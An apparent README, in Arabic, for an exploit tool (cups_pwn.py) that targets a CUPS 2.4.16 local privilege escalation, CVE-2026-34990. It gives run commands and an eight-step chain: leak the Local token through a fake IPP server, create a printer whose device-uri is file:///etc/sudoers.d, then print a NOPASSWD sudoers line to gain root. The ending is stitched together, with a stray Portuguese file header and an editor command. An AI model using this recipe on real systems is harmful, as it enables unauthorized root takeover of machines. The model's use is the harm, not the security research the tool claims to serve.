
CUPS 2.4.16 تصعيد الصلاحيات المحلي عبر تسريب رمز المسؤول المحلي والكتابة التعسفية للملفات عبر file:// (CVE-2026-34990)
يحتوي CUPS 2.4.16 على ثغرة تصعيد الصلاحيات المحلي (تُعرف أيضًا باسم GHSA-c54j-2vqw-wpwp).
مقبس قابل للكتابة من الجميع — /run/cups/cups.sock قابل للكتابة من الجميع،
مما يسمح لأي مستخدم محلي بإرسال طلبات IPP إلى خدمة CUPS
(التي تعمل بصلاحيات root).
تسريب الرمز المحلي — يمكن إساءة استخدام CUPS-Create-Local-Printer
لتسريب رمز التفويض Local عن طريق توجيه device-uri إلى
خادم IPP يتحكم به المهاجم.
كتابة ملفات عشوائية — باستخدام الرمز المسرّب، يمكن للمهاجم إنشاء
طابعة باستخدام device-uri=file:///etc/sudoers.d/<user>، مما يجعل CUPS
(بصلاحيات root) يكتب محتوى عشوائيًا إلى أي مسار على القرص.
# Basic usage
python3 cups_pwn.py --user lowpriv
# Custom sudoers path
python3 cups_pwn.py --user lowpriv --sudoers /etc/sudoers.d/custom
# After success
sudo -i
🧠 كيف يعمل
text
┌─────────────────────────────────────────────────────────────────┐
│ 1. Start fake IPP server on 127.0.0.1:9189 │
│ 2. Send CUPS-Create-Local-Printer with device-uri=ipp://... │
│ 3. CUPS connects to our fake server → sends Local token │
│ 4. Extract the token │
│ 5. Create printer with device-uri=file:///etc/sudoers.d/... │
│ 6. Print gzip payload with "user ALL=(ALL) NOPASSWD: ALL" │
│ 7. CUPS writes the payload as root │
│ 8. sudo -n id → root │
└─────────────────────────────────────────────────────────────────┘
🛡️ إخلاء المسؤولية
تُقدَّم هذه الأداة لأغراض اختبار الأمان المصرّح به والأغراض التعليمية
فقط. لا تستخدمها ضد أنظمة لا تملكها أو لا تملك إذنًا صريحًا
لاختبارها. المؤلف غير مسؤول عن أي إساءة استخدام
أو ضرر ناتج عن هذه الأداة.
📚 المراجع
GHSA-c54j-2vqw-wpwp
CVE-2026-34990
CUPS Security Advisories
📄 الترخيص
MIT — راجع ملف LICENSE.
text
### Ficheiro 3: `LICENSE`
```bash
nano LICENSE